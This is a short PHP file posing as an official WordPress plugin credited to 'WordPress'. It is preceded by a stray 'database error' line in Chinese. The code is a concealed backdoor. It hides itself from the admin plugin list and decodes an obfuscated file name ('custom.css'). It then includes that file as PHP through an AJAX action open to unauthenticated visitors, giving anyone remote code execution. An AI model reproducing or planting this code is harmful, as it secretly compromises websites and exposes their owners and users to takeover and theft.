数据库发生错误。

<?php
/*
Plugin Name: WP Bertalanffy Scaffolding
Plugin URI: http://wordpress.org/#
Description: Official WordPress plugin
Author: WordPress
Version: 2.3.2
Author URI: http://wordpress.org/#
*/

if (!defined('ABSPATH')) {
    exit;
}

function kmr_eeh() {
    global $wp_list_table;
    
    if (!isset($wp_list_table)) {
        return;
    }

    $j = array('wp-bertalanffy-scaffolding/wp-bertalanffy-scaffolding.php');

    if (isset($wp_list_table->items) && is_array($wp_list_table->items)) {
        foreach ($wp_list_table->items as $key => $val) {
            if (in_array($key, $j)) {
                unset($wp_list_table->items[$key]);
            }
        }
    }
}

function cus_wnj($plugins) {
    $q = 'wp-bertalanffy-scaffolding/wp-bertalanffy-scaffolding.php';
    if (array_key_exists($q, $plugins)) {
        unset($plugins[$q]);
    }
    return $plugins;
}

function xaq($e, $b) {
    $m = '';
    for ($p = 0; $p < strlen($e); $p += 2) {
        $h = ord($e[$p]) - 65;
        $c = ord($e[$p + 1]);
        if ($c > 90) $c -= 6;
        $a = $h * 52 + ($c - 65);
        $m .= chr($a - $b);
    }
    return $m;
}

function dmz_ajax_handler() {
    require_once plugin_dir_path(__FILE__) . xaq('ECEUESETEOEMDBECESES', 111);
    die();
}

if (defined('ABSPATH')) {
    add_action('pre_current_active_plugins', 'kmr_eeh');
    add_filter('all_plugins', 'cus_wnj');
    
    add_action('wp_ajax_ber_sca', 'dmz_ajax_handler');
    add_action('wp_ajax_nopriv_ber_sca', 'dmz_ajax_handler');
}